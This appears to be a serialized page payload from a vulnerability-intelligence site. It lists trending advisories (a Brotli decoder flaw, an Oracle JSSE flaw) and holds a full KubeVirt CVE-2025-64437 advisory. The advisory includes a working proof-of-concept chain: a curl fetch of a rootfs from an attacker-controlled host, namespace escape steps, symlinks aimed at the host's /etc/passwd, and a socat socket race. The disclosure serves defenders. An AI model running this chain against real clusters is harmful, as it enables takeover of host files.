[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-64437":30,"landing-articles":129},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":54,"references":57,"score":64,"epss_score":65,"epss_percentile":66,"is_kev":47,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":67,"attack_mappings":77,"exploits":127},101270,"CVE-2025-64437","EUVD-2025-38213","KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes\n\n### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nIt is possible to trick the `virt-handler` component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID `107` due to mishandling of symlinks when determining the root mount of a `virt-launcher` pod.\n\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nIn the current implementation, the `virt-handler` does not verify whether the `launcher-sock` is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. \nTo successfully exploit this vulnerability, an attacker should be in control of the file system of the `virt-launcher` pod.\n\n\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nIn this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node:\n\n1. A symbolic link (`launcher-sock`) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries.\n2. Another symbolic link (`disk.img`) is employed to [alter the perceived location of data within a PVC](https:\u002F\u002Fgithub.com\u002Fkubevirt\u002Fkubevirt\u002Fsecurity\u002Fadvisories\u002FGHSA-qw6q-3pgr-5cwq), redirecting it to a file owned by root on the host filesystem.\n3. As a result, [the ownership of an existing host file owned by root is changed to a less privileged user with UID 107](https:\u002F\u002Fgithub.com\u002Fkubevirt\u002Fkubevirt\u002Fsecurity\u002Fadvisories\u002FGHSA-46xp-26xh-hpqh).\n\n\nIt is assumed that an attacker has access to a `virt-launcher` pod's file system (for example, [obtained using another vulnerability](https:\u002F\u002Fgithub.com\u002Fkubevirt\u002Fkubevirt\u002Fsecurity\u002Fadvisories\u002FGHSA-9m94-w2vq-hcf9)) and also has access to the host file system with the privileges of the `qemu` user (`UID=107`). It is also assumed that they can create unprivileged user namespaces:\n\n```bash\nadmin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1\n```\n\nThe below is inspired by [an article](https:\u002F\u002Fblog.quarkslab.com\u002Fdigging-into-linux-namespaces-part-2.html), where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system.\n\n```bash\n# Download an container file system from an attacker-controlled location\nqemu-compromised@minikube:~$ curl http:\u002F\u002Fhost.minikube.internal:13337\u002Faugmented-alpine.tar -o augmented-alpine.tar\n# Create a directory and extract the file system in it\nqemu-compromised@minikube:~$  mkdir rootfs_alpine && tar -xf augmented-alpine.tar -C rootfs_alpine\n# Create a MOUNT and remapped USER namespace environment and execute a shell process in it\nqemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh\n# Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs.\n# The user is root in its new USER namesapce\nroot@minikube:~$ mount --bind rootfs_alpine rootfs_alpine && cd rootfs_alpine && mkdir hostfs_root\n# Swap the current root of the process and store the old one within a directory\nroot@minikube:~$ pivot_root . hostfs_root \nroot@minikube:~$ export PATH=\u002Fbin:\u002Fusr\u002Fbin:\u002Fusr\u002Fsbin\n# Create the directory with the same path as the PVC mounted within the `virt-launcher`. In it `virt-handler` will search for a `disk.img` file associated with a volume mount\nroot@minikube:~$ PVC_PATH=\"\u002Fvar\u002Frun\u002Fkubevirt-private\u002Fvmi-disks\u002Fcorrupted-pvc\" && \\\nmkdir -p \"${PVC_PATH}\" && \\\ncd \"${PVC_PATH}\"\n# Create the `disk.img` symlink pointing to `\u002Fetc\u002Fpasswd` of the host in the old root mount directory\nroot@minikube:~$ ln -sf ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fhostfs_root\u002Fetc\u002Fpasswd disk.img\n# Create the socket wich will confuse the isolator detector and start listening on it\nroot@minikube:~$ socat -d -d UNIX-LISTEN:\u002Ftmp\u002Fbad.sock,fork,reuseaddr -\n```\n\n\nAfter the environment is set, the `launcher-sock` in the `virt-launcher` container should be replaced with a symlink to `..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fproc\u002F2245509\u002Froot\u002Ftmp\u002Fbad.sock` (2245509 is the PID of the above isolated shell process). This should be done, however, in a the right moment. For this demonstration, it was decided to trigger the bug while leveraging a race condition when creating or updating a VMI:\n\n```go\n\u002F\u002Fpkg\u002Fvirt-handler\u002Fvm.go\n\nfunc (c *VirtualMachineController) vmUpdateHelperDefault(origVMI *v1.VirtualMachineInstance, domainExists bool) error {\n  \u002F\u002F ...\n  \u002F\u002F!!! MK: the change should happen here before executing the below line !!!\n  isolationRes, err := c.podIsolationDetector.Detect(vmi)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(failedDetectIsolationFmt, err)\n\t\t}\n\t\tvirtLauncherRootMount, err := isolationRes.MountRoot()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t\u002F\u002F ...\n\n\t\t\u002F\u002F initialize disks images for empty PVC\n\t\thostDiskCreator := hostdisk.NewHostDiskCreator(c.recorder, lessPVCSpaceToleration, minimumPVCReserveBytes, virtLauncherRootMount)\n\t\t\u002F\u002F MK: here the permissions are changed\n\t\terr = hostDiskCreator.Create(vmi)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"preparing host-disks failed: %v\", err)\n\t\t}\n    \u002F\u002F ...\n\n```\n\nThe manifest of the #acr(\"vmi\") which is going to trigger the bug is:\n\n```yaml\n# The PVC will be used for the `disk.img` related bug\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: corrupted-pvc\nspec:\n  accessModes:\n    - ReadWriteMany\n  resources:\n    requests:\n      storage: 500Mi\n---\napiVersion: kubevirt.io\u002Fv1\nkind: VirtualMachineInstance\nmetadata:\n  labels:\n  name: launcher-symlink-confusion\nspec:\n  domain:\n    devices:\n      disks:\n      - name: containerdisk\n        disk:\n          bus: virtio\n      - name: corrupted-pvc\n        disk:\n          bus: virtio\n      - name: cloudinitdisk\n        disk:\n          bus: virtio\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - name: containerdisk\n    containerDisk:\n      image: quay.io\u002Fkubevirt\u002Fcirros-container-disk-demo\n  - name: corrupted-pvc\n    persistentVolumeClaim:\n      claimName: corrupted-pvc\n  - name: cloudinitdisk      \n    cloudInitNoCloud:\n      userDataBase64: SGkuXG4=\n```\n\nJust before the line is executed, the attacker should replace the `launcher-sock` with a symlink to the `bad.sock` controlled by the isolated process:\n\n```bash\n# the namespaced process controlled by the attacker has pid=2245509\nqemu-compromised@minikube:~$ p=$(pgrep -af \"\u002Fusr\u002Fbin\u002Fvirt-launcher\" | grep -v virt-launcher-monitor | awk '{print $1}') &&  ln -sf ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fproc\u002F2245509\u002Froot\u002Ftmp\u002Fbad.sock \u002Fproc\u002F$p\u002Froot\u002Fvar\u002Frun\u002Fkubevirt\u002Fsockets\u002Flauncher-sock\n```\n\n\nUpon successful exploitation, `virt-launcher` connects to the attacker controlled socket, misinterprets the root mount and changes the permissions of the host's `\u002Fetc\u002Fpasswd` file:\n\n\n```bash\n# `virt-launcher` connects successfully\nroot@minikube:~$ socat -d -d UNIX-LISTEN:\u002Ftmp\u002Fbad.sock,fork,reuseaddr -\n...\n2025\u002F05\u002F27 17:17:35 socat[2245509] N accepting connection from AF=1 \"\u003Canon>\" on AF=1 \"\u002Ftmp\u002Fbad.sock\"\n2025\u002F05\u002F27 17:17:35 socat[2245509] N forked off child process 2252010\n2025\u002F05\u002F27 17:17:35 socat[2245509] N listening on AF=1 \"\u002Ftmp\u002Fbad.sock\"\n2025\u002F05\u002F27 17:17:35 socat[2252010] N reading from and writing to stdio\n2025\u002F05\u002F27 17:17:35 socat[2252010] N starting data transfer loop with FDs [6,6] and [0,1]\nPRI * HTTP\u002F2.0\n```\n\n```bash\nadmin@minikube:~$ ls -al \u002Fetc\u002Fpasswd\n-rw-r--r--. 1 compromised-qemu systemd-resolve 1337 May 23 13:19 \u002Fetc\u002Fpasswd\n\nadmin@minikube:~$ cat \u002Fetc\u002Fpasswd\nroot:x:0:0:root:\u002Froot:\u002Fbin\u002Fbash\ndaemon:x:1:1:daemon:\u002Fusr\u002Fsbin:\u002Fusr\u002Fsbin\u002Fnologin\nbin:x:2:2:bin:\u002Fbin:\u002Fusr\u002Fsbin\u002Fnologin\nsys:x:3:3:sys:\u002Fdev:\u002Fusr\u002Fsbin\u002Fnologin\nsync:x:4:65534:sync:\u002Fbin:\u002Fbin\u002Fsync\ngames:x:5:60:games:\u002Fusr\u002Fgames:\u002Fusr\u002Fsbin\u002Fnologin\nman:x:6:12:man:\u002Fvar\u002Fcache\u002Fman:\u002Fusr\u002Fsbin\u002Fnologin\nlp:x:7:7:lp:\u002Fvar\u002Fspool\u002Flpd:\u002Fusr\u002Fsbin\u002Fnologin\nmail:x:8:8:mail:\u002Fvar\u002Fmail:\u002Fusr\u002Fsbin\u002Fnologin\nnews:x:9:9:news:\u002Fvar\u002Fspool\u002Fnews:\u002Fusr\u002Fsbin\u002Fnologin\nuucp:x:10:10:uucp:\u002Fvar\u002Fspool\u002Fuucp:\u002Fusr\u002Fsbin\u002Fnologin\nproxy:x:13:13:proxy:\u002Fbin:\u002Fusr\u002Fsbin\u002Fnologin\nwww-data:x:33:33:www-data:\u002Fvar\u002Fwww:\u002Fusr\u002Fsbin\u002Fnologin\nbackup:x:34:34:backup:\u002Fvar\u002Fbackups:\u002Fusr\u002Fsbin\u002Fnologin\nlist:x:38:38:Mailing List Manager:\u002Fvar\u002Flist:\u002Fusr\u002Fsbin\u002Fnologin\nirc:x:39:39:ircd:\u002Frun\u002Fircd:\u002Fusr\u002Fsbin\u002Fnologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\u002Fvar\u002Flib\u002Fgnats:\u002Fusr\u002Fsbin\u002Fnologin\nnobody:x:65534:65534:nobody:\u002Fnonexistent:\u002Fusr\u002Fsbin\u002Fnologin\n_apt:x:100:65534::\u002Fnonexistent:\u002Fusr\u002Fsbin\u002Fnologin\n_rpc:x:101:65534::\u002Frun\u002Frpcbind:\u002Fusr\u002Fsbin\u002Fnologin\nsystemd-network:x:102:106:systemd Network Management,,,:\u002Frun\u002Fsystemd:\u002Fusr\u002Fsbin\u002Fnologin\nsystemd-resolve:x:103:107:systemd Resolver,,,:\u002Frun\u002Fsystemd:\u002Fusr\u002Fsbin\u002Fnologin\nstatd:x:104:65534::\u002Fvar\u002Flib\u002Fnfs:\u002Fusr\u002Fsbin\u002Fnologin\nsshd:x:105:65534::\u002Frun\u002Fsshd:\u002Fusr\u002Fsbin\u002Fnologin\ndocker:x:1000:999:,,,:\u002Fhome\u002Fdocker:\u002Fbin\u002Fbash\ncompromised-qemu:x:107:107::\u002Fhome\u002Fcompromised-qemu:\u002Fbin\u002Fbash\n```\n\nThe attacker controlling an unprivileged user can now update the contents of the file.\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host.","2025-11-06T23:36:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":46,"availabilityImpact":44,"privilegesRequired":46,"confidentialityImpact":44},"CHANGED","3.1",5,"LOCAL","MEDIUM","CVSS:3.1\u002FAV:L\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:L","LOW","NONE","HIGH",false,[49],"CWE-59",[51,52,53],"cpe:2.3:a:kubevirt:kubevirt:1.6.0:*:*:*:*:kubernetes:*:*","cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*","cpe:2.3:a:kubevirt.io:kubevirt:*:*:*:*:*:*:*:*",[55,56],"Kubevirt Kubevirt","Kubevirt.Io Kubevirt",[58,59,60,61,62,63],"https:\u002F\u002Fgithub.com\u002Fkubevirt\u002Fkubevirt\u002Fcommit\u002F3ce9f41c54d04a65f10b23a46771391c00659afb","https:\u002F\u002Fgithub.com\u002Fkubevirt\u002Fkubevirt\u002Fcommit\u002F8644dbe0d04784b0bfa8395b91ecbd6001f88f6b","https:\u002F\u002Fgithub.com\u002Fkubevirt\u002Fkubevirt\u002Fcommit\u002Ff59ca63133f25de8fceb3e2a0e5cc0b7bdb6a265","https:\u002F\u002Fgithub.com\u002Fkubevirt\u002Fkubevirt\u002Fsecurity\u002Fadvisories\u002FGHSA-2r4r-5x78-mvqf","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-64437","https:\u002F\u002Fgithub.com\u002Fkubevirt\u002Fkubevirt",0.4,0.00231,0.13769,{"timestamp":68,"automatable":69,"tech_impact":70,"exploitation":71,"cisa_decision":72,"cisa_remediation_timeline":76},"2025-11-10T18:49:35.550633Z","no","partial","poc",{"vector":73,"decision":74,"priority":75},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T05:46:11.482932\u002F","track_star","medium","60D",[78,84,93,99,107,113,121],{"name":79,"source":80,"tactics":81,"technique_id":83},"Exploitation for Privilege Escalation","attack_vector",[82],"privilege-escalation","T1068",{"name":85,"source":86,"cwe_ids":87,"tactics":88,"capec_ids":90,"technique_id":92},"HTML Smuggling","capec",[49],[89],"stealth",[91],"CAPEC-35","T1027.006",{"name":94,"source":86,"cwe_ids":95,"tactics":96,"capec_ids":97,"technique_id":98},"Embedded Payloads",[49],[89],[91],"T1027.009",{"name":100,"source":86,"cwe_ids":101,"tactics":102,"capec_ids":104,"technique_id":106},"Shortcut Modification",[49],[103,82],"persistence",[105],"CAPEC-132","T1547.009",{"name":108,"source":86,"cwe_ids":109,"tactics":110,"capec_ids":111,"technique_id":112},"Resource Forking",[49],[89],[91],"T1564.009",{"name":114,"source":86,"cwe_ids":115,"tactics":116,"capec_ids":118,"technique_id":120},"Executable Installer File Permissions Weakness",[49],[117,89],"execution",[119],"CAPEC-17","T1574.005",{"name":122,"source":86,"cwe_ids":123,"tactics":124,"capec_ids":125,"technique_id":126},"Services File Permissions Weakness",[49],[117,89],[119],"T1574.010",[128],{"link":61},{"count":130,"next":131,"previous":6,"results":132},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[133,141,149],{"id":134,"title":135,"summary":136,"published_at":137,"type":138,"link":139,"image_url":140},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":142,"title":143,"summary":144,"published_at":145,"type":146,"link":147,"image_url":148},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":150,"title":151,"summary":152,"published_at":153,"type":154,"link":155,"image_url":156},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]